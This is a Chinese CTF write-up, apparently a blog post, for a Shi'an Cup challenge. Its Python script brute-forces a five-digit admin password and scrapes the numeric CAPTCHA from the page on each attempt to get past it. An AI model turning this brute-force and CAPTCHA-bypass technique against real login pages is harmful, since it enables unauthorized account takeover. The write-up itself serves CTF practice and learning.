爆破脚本+过验证码

原题链接:http://ctf1.shiyanbar.com/shian-s/

世安杯线上赛的一道题目,,,主要是仔细,,,查看源码

这就很明显了,爆破,坑点在于有验证码

脚本附在下面,,,

 

__author__="GETF"
import requests
import re
from requests.exceptions import RequestException



#第一次获取验证码
def D(s):
    url = "http://ctf1.shiyanbar.com/shian-s/"
    html=s.get(url)
    r = html.text.encode('ISO-8859-1').decode(html.apparent_encoding)
    pattern = re.compile(r'(\d)(\d)(\d)')
    code = pattern.findall(r)
    randcode = code[0][0] + code[0][1] + code[0][2]
    return randcode

def get_one_page(url,s):
    try:
        response=s.get(url=url)
        if response.status_code == 200:
#print(response.text)
            #print(response.encoding)
            #print(response.apparent_encoding)
            r=response.text
            #print(requests.utils.get_encodings_from_content(r)[0])
            #a=r.encode('ISO-8859-1').decode(requests.utils.get_encodings_from_content(r)[0])
            #print(a)
            print('------------------------------------')
            b = r.encode('ISO-8859-1').decode(response.apparent_encoding)
            if(len(b) != 145):
                print(b)
        return None
    except RequestException:
        return None

def main():
    for i in range(0,10):
        for j in range(0,10):
            for k in range(0,10):
                for m in range(0,10):
                    for n in range(0,10):
                        payload = '{0}{1}{2}{3}{4}'.format(i,j,k,m,n)
                        print(payload)
                        s = requests.session()
                        s.get("http://ctf1.shiyanbar.com/shian-s/")
                        randcode = D(s)
                        url = 'http://ctf1.shiyanbar.com/shian-s/index.php?username=admin&password={0}&randcode={1}'.format(payload,randcode)
                        get_one_page(url,s)

if __name__=='__main__':
        main()


 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值